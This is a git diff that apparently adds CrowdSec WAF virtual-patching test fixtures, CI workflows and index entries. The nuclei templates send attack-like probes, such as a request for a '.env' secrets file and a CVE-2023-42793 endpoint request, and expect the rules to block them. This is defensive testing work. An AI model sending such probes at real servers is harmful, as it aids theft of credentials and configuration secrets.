+ test
+
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+
+ cookie-reuse: true
+ matchers:
+ - type: dsl
+ condition: and
+ dsl:
+ - 'status_code_1 == 403'
+ - 'status_code_2 == 403'
+ - 'status_code_3 == 403'
diff --git a/.appsec-tests/CVE-2023-50164/config.yaml b/.appsec-tests/CVE-2023-50164/config.yaml
new file mode 100644
index 00000000000..3bac2e3a4b7
--- /dev/null
+++ b/.appsec-tests/CVE-2023-50164/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-50164.yaml
+nuclei_template: CVE-2023-50164.yaml
diff --git a/.appsec-tests/cve-2023-42793/config.yaml b/.appsec-tests/cve-2023-42793/config.yaml
new file mode 100644
index 00000000000..0f351751bcf
--- /dev/null
+++ b/.appsec-tests/cve-2023-42793/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-42793.yaml
+nuclei_template: cve-2023-42793.yaml
diff --git a/.appsec-tests/cve-2023-42793/cve-2023-42793.yaml b/.appsec-tests/cve-2023-42793/cve-2023-42793.yaml
new file mode 100644
index 00000000000..ce0505da035
--- /dev/null
+++ b/.appsec-tests/cve-2023-42793/cve-2023-42793.yaml
@@ -0,0 +1,22 @@
+id: cve-2023-42793
+info:
+ name: cve-2023-42793
+ author: crowdsec
+ severity: medium
+ description: |
+ cve-2023-42793 testing
+ tags: appsec-testing
+
+http:
+ - raw:
+ - |
+ GET /rpc2 HTTP/1.1
+ Host: {{Hostname}}
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
+
diff --git a/.appsec-tests/template_acquis.yaml b/.appsec-tests/template_acquis.yaml
new file mode 100644
index 00000000000..5aba47f6dbb
--- /dev/null
+++ b/.appsec-tests/template_acquis.yaml
@@ -0,0 +1,7 @@
+listen_addr: 127.0.0.1:4241
+source: appsec
+log_level: debug
+labels:
+ type: appsec
+#appsec_config: appsec-test
+appsec_config_path: ./runtime/appsec-configs/config.yaml
\ No newline at end of file
diff --git a/.appsec-tests/template_appsec-profile.yaml b/.appsec-tests/template_appsec-profile.yaml
new file mode 100644
index 00000000000..f0f976df3b6
--- /dev/null
+++ b/.appsec-tests/template_appsec-profile.yaml
@@ -0,0 +1,5 @@
+name: appsec-test
+log_level: debug
+inband_rules:
+ - "crowdsecurity/*" # all rules
+default_remediation: ban
diff --git a/.appsec-tests/template_config.yaml b/.appsec-tests/template_config.yaml
new file mode 100644
index 00000000000..c443955ecab
--- /dev/null
+++ b/.appsec-tests/template_config.yaml
@@ -0,0 +1,48 @@
+common:
+ daemonize: false
+ pid_dir: ./runtime
+ log_media: file
+ log_level: info
+ log_dir: ./runtime/log/
+ working_dir: .
+config_paths:
+ config_dir: ./runtime/
+ data_dir: ./runtime/data/
+ simulation_path: ./runtime/simulation.yaml
+ hub_dir: ./runtime/hub/
+ index_path: ./runtime/hub/.index.json
+ notification_dir: ./runtime/notifications/
+ plugin_dir: /usr/local/lib/crowdsec/plugins/
+crowdsec_service:
+ parser_routines: 1
+ acquisition_path: ./runtime/acquis.yaml
+cscli:
+ output: human
+db_config:
+ log_level: info
+ type: sqlite
+ db_path: ./runtime/data/crowdsec.db
+ #user:
+ #password:
+ #db_name:
+ #host:
+ #port:
+ flush:
+ max_items: 5000
+ max_age: 7d
+plugin_config:
+ user: nobody # plugin process would be ran on behalf of this user
+ group: nogroup # plugin process would be ran on behalf of this group
+api:
+ client:
+ insecure_skip_verify: false
+ credentials_path: ./runtime/local_api_credentials.yaml
+ server:
+ log_level: info
+ listen_uri: 127.0.0.1:8181
+ profiles_path: ./runtime/profiles.yaml
+prometheus:
+ enabled: true
+ level: full
+ listen_addr: 127.0.0.1
+ listen_port: 6060
diff --git a/.appsec-tests/template_profiles.yaml b/.appsec-tests/template_profiles.yaml
new file mode 100644
index 00000000000..ad917ff252d
--- /dev/null
+++ b/.appsec-tests/template_profiles.yaml
@@ -0,0 +1,13 @@
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+# notifications:
+# - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this.
+# - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this.
+# - http_default # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this.
+on_success: break
+
diff --git a/.appsec-tests/template_simulation.yaml b/.appsec-tests/template_simulation.yaml
new file mode 100644
index 00000000000..e9c68999350
--- /dev/null
+++ b/.appsec-tests/template_simulation.yaml
@@ -0,0 +1,4 @@
+simulation: off
+# exclusions:
+# - crowdsecurity/ssh-bf
+
\ No newline at end of file
diff --git a/.appsec-tests/vpatch-env-access/config.yaml b/.appsec-tests/vpatch-env-access/config.yaml
new file mode 100644
index 00000000000..e6bc95b6212
--- /dev/null
+++ b/.appsec-tests/vpatch-env-access/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-env-access.yaml
+nuclei_template: vpatch-env-access.yaml
diff --git a/.appsec-tests/vpatch-env-access/vpatch-env-access.yaml b/.appsec-tests/vpatch-env-access/vpatch-env-access.yaml
new file mode 100755
index 00000000000..65e84701967
--- /dev/null
+++ b/.appsec-tests/vpatch-env-access/vpatch-env-access.yaml
@@ -0,0 +1,24 @@
+id: vpatch-env-access
+info:
+ name: vpatch-env-access
+ author: crowdsec
+ severity: info
+ description: vpatch-env-access testing
+ tags: appsec-testing
+http:
+ - raw:
+ - |
+ GET /foo/bar/.env HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ GET /foo/bar/ HTTP/1.1
+ Host: {{Hostname}}
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: dsl
+ condition: and
+ dsl:
+ - 'status_code_1 == 403'
+ - 'status_code_2 == 404'
diff --git a/.github/workflows/appsec_vpatch_lint.yaml b/.github/workflows/appsec_vpatch_lint.yaml
new file mode 100644
index 00000000000..35560902077
--- /dev/null
+++ b/.github/workflows/appsec_vpatch_lint.yaml
@@ -0,0 +1,40 @@
+name: Vpatch collection lint
+on:
+ push:
+ paths:
+ - "appsec-rules/**.yaml"
+ - "appsec-rules/**.yml"
+ - "scripts/**.py"
+ - ".github/workflows/appsec_vpatch_lint.yaml"
+ - "./collections/crowdsecurity/appsec-virtual-patching.yaml"
+
+jobs:
+ update-taxonomy:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/setup-python@v4
+ with:
+ python-version: "3.10"
+ - uses: actions/checkout@v1
+ - name: Get changed files
+ run: |
+ changed_files=$(git diff-tree --no-commit-id --name-only -r $GITHUB_SHA | tr '\n' ',' | sed 's/,$/\n/')
+ echo "changed_files=${changed_files}" >> $GITHUB_ENV
+ - name: Create local changes
+ env:
+ AUTHOR: ${{ github.actor }}
+ run: |
+ pip install requests pyyaml mdutils
+ python ./scripts/appsec_vpatch_lint.py -e appsec_vpatch_cve_error.md --hub ./
+ [ -f "appsec_vpatch_cve_error.md" ] && echo "taxonomy_errors=1" >> $GITHUB_ENV || echo "taxonomy_errors=0" >> $GITHUB_ENV
+ - uses: jwalton/gh-find-current-pr@v1
+ id: findPr
+ with:
+ state: open
+ - name: Comment PR if errors
+ if: ${{ (env.taxonomy_errors == '1') && (github.event_name == 'push') && (github.ref != 'refs/heads/master') }}
+ uses: thollander/actions-comment-pull-request@v2
+ with:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ filePath: appsec_vpatch_cve_error.md
+ pr_number: ${{ steps.findPr.outputs.pr }}
diff --git a/.github/workflows/test_appsec_rules.yaml b/.github/workflows/test_appsec_rules.yaml
new file mode 100644
index 00000000000..6770b320e2d
--- /dev/null
+++ b/.github/workflows/test_appsec_rules.yaml
@@ -0,0 +1,76 @@
+name: Appsec Rules Tests
+on:
+ pull_request:
+ branches: [ master ]
+ paths:
+ - 'appsec-configs/**.yaml'
+ - 'appsec-configs/**.yml'
+ - 'appsec-rules/**.yaml'
+ - 'appsec-rules/**.yml'
+ - '.github/workflows/test_appsec_rules.yaml'
+ - '.appsec-tests/**'
+ push:
+ branches: [ master ]
+ paths:
+ - 'appsec-configs/**.yaml'
+ - 'appsec-configs/**.yml'
+ - 'appsec-rules/**.yaml'
+ - 'appsec-rules/**.yml'
+ - '.github/workflows/test_appsec_rules.yaml'
+ - '.appsec-tests/**'
+
+jobs:
+ run-hub-tests:
+ runs-on: ubuntu-20.04
+ steps:
+ - name: Check out code into the Go module directory
+ uses: actions/checkout@v4
+ - uses: actions/setup-go@v4
+ with:
+ go-version: '1.21'
+ - name: Install requirements
+ run: |
+ sudo apt install libre2-dev
+ go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+ - name: Install CrowdSec
+ run: |
+ git clone https://github.com/crowdsecurity/crowdsec.git
+ cd crowdsec
+ BUILD_STATIC=1 make release
+ cd crowdsec-v*
+ sudo ./wizard.sh --unattended
+ - name: Install NGINX
+ run: |
+ sudo apt install nginx
+ - name: Install CrowdSec NGINX Bouncer
+ run: |
+ git clone https://github.com/crowdsecurity/cs-nginx-bouncer.git
+ cd cs-nginx-bouncer/
+ make release
+ tar xzvf crowdsec-nginx-bouncer.tgz
+ cd crowdsec-nginx-bouncer-v*
+ sudo ./install.sh -y
+ - name: Setup NGINX Bouncer API key
+ run: |
+ sudo cscli bouncers add hubtestAppsec -k "this_is_a_bad_password"
+ sudo sed -i 's/API_KEY=.*$/API_KEY=this_is_a_bad_password/' /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf
+ echo "APPSEC_URL=http://127.0.0.1:4241" | sudo tee -a /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf
+ sudo systemctl restart nginx
+ - name: run tests on last crowdsec tag
+ run: |
+ cscli hubtest run --all --appsec --debug
+ echo "APPSEC_RULE_COV=$(cscli hubtest coverage --appsec --percent | cut -d '=' -f2)" >> $GITHUB_ENV
+ APPSEC_RULE_COV_NUMBER=$(cscli hubtest coverage --appsec --percent | cut -d '=' -f2 | tr -d '%' | tr -d '[[:space:]]')
+ echo "APPSEC_RULE_BADGE_COLOR=$(if [ "$APPSEC_RULE_COV_NUMBER" -lt "70" ]; then echo 'red'; else echo 'green'; fi)" >> $GITHUB_ENV
+ - name: Create appsec badge
+ uses: schneegans/dynamic-badges-action@v1.1.0
+ #if: ${{ github.ref == 'refs/heads/master' }}
+ if: false
+ with:
+ auth: ${{ secrets.GIST_BADGES_SECRET }}
+ gistID: ${{ secrets.GIST_BADGES_ID }}
+ filename: hub_appsec_badge.json
+ label: Hub Appsec
+ message: ${{ env.APPSEC_RULE_COV }}
+ color: ${{ env.APPSEC_RULE_BADGE_COLOR }}
+
diff --git a/.github/workflows/update-index.yml b/.github/workflows/update-index.yml
index 3fc0a5c7beb..5154deb5d86 100644
--- a/.github/workflows/update-index.yml
+++ b/.github/workflows/update-index.yml
@@ -3,21 +3,26 @@ name: Update index
on:
push:
paths:
- - "scenarios/**.yaml"
- - "parsers/**.yaml"
- - "postoverflows/**.yaml"
- - "collections/**.yaml"
- - "scenarios/**.yml"
- - "parsers/**.yml"
- - "postoverflows/**.yml"
- - "collections/**.yml"
- - "scenarios/**.md"
- - "parsers/**.md"
- - "postoverflows/**.md"
- - "collections/**.md"
- - ".github/workflows/update-index.yml"
+ - 'scenarios/**.yaml'
+ - 'parsers/**.yaml'
+ - 'postoverflows/**.yaml'
+ - 'collections/**.yaml'
+ - 'appsec-rules/**.yaml'
+ - 'appsec-configs/**.yaml'
+ - 'scenarios/**.yml'
+ - 'parsers/**.yml'
+ - 'postoverflows/**.yml'
+ - 'collections/**.yml'
+ - 'appsec-rules/**.yml'
+ - 'appsec-configs/**.yml'
+ - 'scenarios/**.md'
+ - 'parsers/**.md'
+ - 'postoverflows/**.md'
+ - 'collections/**.md'
+ - 'appsec-rules/**.md'
+ - 'appsec-configs/**.md'
+ - '.github/workflows/update-index.yml'
- "*.go"
-
jobs:
build:
runs-on: ubuntu-latest
diff --git a/.github/workflows/update_taxonomy.yaml b/.github/workflows/update_taxonomy.yaml
index 5c989451ae9..4a3b83ceeda 100644
--- a/.github/workflows/update_taxonomy.yaml
+++ b/.github/workflows/update_taxonomy.yaml
@@ -5,6 +5,8 @@ on:
paths:
- "scenarios/**.yaml"
- "scenarios/**.yml"
+ - "appsec-rules/**.yaml"
+ - "appsec-rules/**.yml"
- "scripts/**.py"
- ".github/workflows/update_taxonomy.yaml"
- "scripts/.scenariosignore"
diff --git a/.gitignore b/.gitignore
index cf5d8960d4f..c7ef590bf83 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,6 +8,9 @@
.tests/*/parser-dump.yaml
.tests/*/runtime/*
+.appsec-tests/*/results/*
+.appsec-tests/*/runtime/*
+
## tmp files
taxonomy/scenario_taxonomy_errors.md
diff --git a/.index.json b/.index.json
index 863d7aec119..cefc43764ea 100644
--- a/.index.json
+++ b/.index.json
@@ -1,4 +1,717 @@
{
+ "appsec-configs": {
+ "crowdsecurity/crs": {
+ "path": "appsec-configs/crowdsecurity/crs.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "e9cbc67cae76d60468e40f54db62c97157e203bc06c412239695c843ef98f987",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "fd41693ebf881d1cb561cd6a163c9da47c50c480829efe4ddca74f6ec3847855",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9jcnMKZGVmYXVsdF9yZW1lZGlhdGlvbjogYmFuCiNsb2dfbGV2ZWw6IGRlYnVnCm91dG9mYmFuZF9ydWxlczoKIC0gY3Jvd2RzZWN1cml0eS9jcnM=",
+ "author": "crowdsecurity",
+ "labels": null
+ },
+ "crowdsecurity/virtual-patching": {
+ "path": "appsec-configs/crowdsecurity/virtual-patching.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "48a765ded560cf4d8bb405e563411245156b6b2c2fef09e5492e6270f5337bff",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "0bf15e1ebed4c94933bf9407d616be22121733ddd327710f7f5b79ec70d52085",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "e93cc5d63aae3a83794b0f6b1e41566f53fae059e6044a9519f02256fa6e2adf",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92aXJ0dWFsLXBhdGNoaW5nCmRlZmF1bHRfcmVtZWRpYXRpb246IGJhbgojbG9nX2xldmVsOiBkZWJ1ZwppbmJhbmRfcnVsZXM6CiAtIGNyb3dkc2VjdXJpdHkvYmFzZS1jb25maWcgCiAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLSoKIyBpbmJhbmRfb3B0aW9uczoKIyAgZGlzYWJsZV9ib2R5X2luc3BlY3Rpb246IHRydWUK",
+ "author": "crowdsecurity",
+ "labels": null
+ }
+ },
+ "appsec-rules": {
+ "crowdsecurity/base-config": {
+ "path": "appsec-rules/crowdsecurity/base-config.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "5ef93f4b19a028f2415afaf570df4d20a5f6038fa94cc990a387662303c2ef20",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9iYXNlLWNvbmZpZwojIyMjIFRoaXMgZmlsZSBpcyBpbnRlbmRlZCB0byBwcm92aWRlIGEgYmFzaWMgY29uZmlndXJhdGlvbiBmb3IgY29yYXphOgojIyMjIC0gU2V0IHRoZSBib2R5IHByb2Nlc3NvcnMgYmFzZWQgb24gdGhlIGNvbnRlbnQtdHlwZQoKc2VjbGFuZ19ydWxlczoKIC0gU2VjcnVsZSBSRVFVRVNUX0hFQURFUlM6Q29udGVudC1UeXBlICJAcnggXmFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIgImlkOjEwMCxwaGFzZToxLHBhc3Msbm9sb2csbm9hdWRpdGxvZyxjdGw6cmVxdWVzdEJvZHlQcm9jZXNzb3I9VVJMRU5DT0RFRCIKIC0gU2VjcnVsZSBSRVFVRVNUX0hFQURFUlM6Q29udGVudC1UeXBlICJAcnggXm11bHRpcGFydC9mb3JtLWRhdGEiICJpZDoxMDEscGhhc2U6MSxwYXNzLG5vbG9nLG5vYXVkaXRsb2csY3RsOnJlcXVlc3RCb2R5UHJvY2Vzc29yPU1VTFRJUEFSVCIKIC0gU2VjcnVsZSBSRVFVRVNUX0hFQURFUlM6Q29udGVudC1UeXBlICJAcnggXmFwcGxpY2F0aW9uL3htbCIgImlkOjEwMixwaGFzZToxLHBhc3Msbm9sb2csbm9hdWRpdGxvZyxjdGw6cmVxdWVzdEJvZHlQcm9jZXNzb3I9WE1MIgogLSBTZWNydWxlIFJFUVVFU1RfSEVBREVSUzpDb250ZW50LVR5cGUgIkByeCBeYXBwbGljYXRpb24vanNvbiIgImlkOjEwMyxwaGFzZToxLHBhc3Msbm9sb2csbm9hdWRpdGxvZyxjdGw6cmVxdWVzdEJvZHlQcm9jZXNzb3I9SlNPTiIKIC0gU2VjcnVsZSBSRVFVRVNUX0hFQURFUlM6Q29udGVudC1UeXBlICJAcnggXnRleHQveG1sIiAiaWQ6MTA0LHBoYXNlOjEscGFzcyxub2xvZyxub2F1ZGl0bG9nLGN0bDpyZXF1ZXN0Qm9keVByb2Nlc3Nvcj1YTUwiCiAtIFNlY1J1bGUgUkVRQk9EWV9QUk9DRVNTT1IgIiFAcnggKD86VVJMRU5DT0RFRHxNVUxUSVBBUlR8WE1MfEpTT04pIiAiaWQ6MTA1LHBoYXNlOjEscGFzcyxub2xvZyxub2F1ZGl0bG9nLGN0bDpyZXF1ZXN0Qm9keVByb2Nlc3Nvcj1SQVciICNVc2Ugb3VyIGN1c3RvbSBSQVcgYm9keSBwcm9jZXNzb3IsIGp1c3QgdG8gaGF2ZSBSRVFVRVNUX0JPRFkgc2V0Cg==",
+ "author": "crowdsecurity",
+ "labels": null
+ },
+ "crowdsecurity/crs": {
+ "path": "appsec-rules/crowdsecurity/crs.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "786fe3341c0f0a813eb57b7780620181686081e0f181515509290f2e8c042f0b",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "19d216b68b3de8a9c03e4d6644f578520b3673096ef55da6d77bf40902a36cab",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9jcnMKc2VjbGFuZ19ydWxlczoKIC0gU2VjUnVsZUVuZ2luZSBPbgogLSBTZWNSZXF1ZXN0Qm9keUFjY2VzcyBPbgpzZWNsYW5nX2ZpbGVzX3J1bGVzOgogLSBjcnMtc2V0dXAuY29uZgogLSBSRVFVRVNULTkwMS1JTklUSUFMSVpBVElPTi5jb25mCiAtIFJFUVVFU1QtOTA1LUNPTU1PTi1FWENFUFRJT05TLmNvbmYKIC0gUkVRVUVTVC05MTEtTUVUSE9ELUVORk9SQ0VNRU5ULmNvbmYKIC0gUkVRVUVTVC05MTMtU0NBTk5FUi1ERVRFQ1RJT04uY29uZgogLSBSRVFVRVNULTkyMC1QUk9UT0NPTC1FTkZPUkNFTUVOVC5jb25mCiAtIFJFUVVFU1QtOTIxLVBST1RPQ09MLUFUVEFDSy5jb25mCiAtIFJFUVVFU1QtOTIyLU1VTFRJUEFSVC1BVFRBQ0suY29uZgogLSBSRVFVRVNULTkzMC1BUFBMSUNBVElPTi1BVFRBQ0stTEZJLmNvbmYKIC0gUkVRVUVTVC05MzEtQVBQTElDQVRJT04tQVRUQUNLLVJGSS5jb25mCiAtIFJFUVVFU1QtOTMyLUFQUExJQ0FUSU9OLUFUVEFDSy1SQ0UuY29uZgogLSBSRVFVRVNULTkzMy1BUFBMSUNBVElPTi1BVFRBQ0stUEhQLmNvbmYKIC0gUkVRVUVTVC05MzQtQVBQTElDQVRJT04tQVRUQUNLLUdFTkVSSUMuY29uZgogLSBSRVFVRVNULTk0MS1BUFBMSUNBVElPTi1BVFRBQ0stWFNTLmNvbmYKIC0gUkVRVUVTVC05NDItQVBQTElDQVRJT04tQVRUQUNLLVNRTEkuY29uZgogLSBSRVFVRVNULTk0My1BUFBMSUNBVElPTi1BVFRBQ0stU0VTU0lPTi1GSVhBVElPTi5jb25mCiAtIFJFUVVFU1QtOTQ0LUFQUExJQ0FUSU9OLUFUVEFDSy1KQVZBLmNvbmYKIC0gUkVRVUVTVC05NDktQkxPQ0tJTkctRVZBTFVBVElPTi5jb25mCiAtIFJFU1BPTlNFLTk1MC1EQVRBLUxFQUtBR0VTLmNvbmYKIC0gUkVTUE9OU0UtOTUxLURBVEEtTEVBS0FHRVMtU1FMLmNvbmYKIC0gUkVTUE9OU0UtOTUyLURBVEEtTEVBS0FHRVMtSkFWQS5jb25mCiAtIFJFU1BPTlNFLTk1My1EQVRBLUxFQUtBR0VTLVBIUC5jb25mCiAtIFJFU1BPTlNFLTk1NC1EQVRBLUxFQUtBR0VTLUlJUy5jb25mCiAtIFJFU1BPTlNFLTk1NS1XRUItU0hFTExTLmNvbmYKIC0gUkVTUE9OU0UtOTU5LUJMT0NLSU5HLUVWQUxVQVRJT04uY29uZgogLSBSRVNQT05TRS05ODAtQ09SUkVMQVRJT04uY29uZgoKZGF0YToKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9jcnMtc2V0dXAuY29uZgogICAgZGVzdF9maWxlOiBjcnMtc2V0dXAuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVRVUVTVC05MDEtSU5JVElBTElaQVRJT04uY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkwMS1JTklUSUFMSVpBVElPTi5jb25mCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9SRVFVRVNULTkwNS1DT01NT04tRVhDRVBUSU9OUy5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTA1LUNPTU1PTi1FWENFUFRJT05TLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTExLU1FVEhPRC1FTkZPUkNFTUVOVC5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTExLU1FVEhPRC1FTkZPUkNFTUVOVC5jb25mCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9SRVFVRVNULTkxMy1TQ0FOTkVSLURFVEVDVElPTi5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTEzLVNDQU5ORVItREVURUNUSU9OLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTIwLVBST1RPQ09MLUVORk9SQ0VNRU5ULmNvbmYKICAgIGRlc3RfZmlsZTogUkVRVUVTVC05MjAtUFJPVE9DT0wtRU5GT1JDRU1FTlQuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVRVUVTVC05MjEtUFJPVE9DT0wtQVRUQUNLLmNvbmYKICAgIGRlc3RfZmlsZTogUkVRVUVTVC05MjEtUFJPVE9DT0wtQVRUQUNLLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTIyLU1VTFRJUEFSVC1BVFRBQ0suY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkyMi1NVUxUSVBBUlQtQVRUQUNLLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTMwLUFQUExJQ0FUSU9OLUFUVEFDSy1MRkkuY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkzMC1BUFBMSUNBVElPTi1BVFRBQ0stTEZJLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTMxLUFQUExJQ0FUSU9OLUFUVEFDSy1SRkkuY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkzMS1BUFBMSUNBVElPTi1BVFRBQ0stUkZJLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTMyLUFQUExJQ0FUSU9OLUFUVEFDSy1SQ0UuY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkzMi1BUFBMSUNBVElPTi1BVFRBQ0stUkNFLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTMzLUFQUExJQ0FUSU9OLUFUVEFDSy1QSFAuY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTkzMy1BUFBMSUNBVElPTi1BVFRBQ0stUEhQLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTM0LUFQUExJQ0FUSU9OLUFUVEFDSy1HRU5FUklDLmNvbmYKICAgIGRlc3RfZmlsZTogUkVRVUVTVC05MzQtQVBQTElDQVRJT04tQVRUQUNLLUdFTkVSSUMuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVRVUVTVC05NDEtQVBQTElDQVRJT04tQVRUQUNLLVhTUy5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTQxLUFQUExJQ0FUSU9OLUFUVEFDSy1YU1MuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVRVUVTVC05NDItQVBQTElDQVRJT04tQVRUQUNLLVNRTEkuY29uZgogICAgZGVzdF9maWxlOiBSRVFVRVNULTk0Mi1BUFBMSUNBVElPTi1BVFRBQ0stU1FMSS5jb25mCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9SRVFVRVNULTk0My1BUFBMSUNBVElPTi1BVFRBQ0stU0VTU0lPTi1GSVhBVElPTi5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTQzLUFQUExJQ0FUSU9OLUFUVEFDSy1TRVNTSU9OLUZJWEFUSU9OLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFUVVFU1QtOTQ0LUFQUE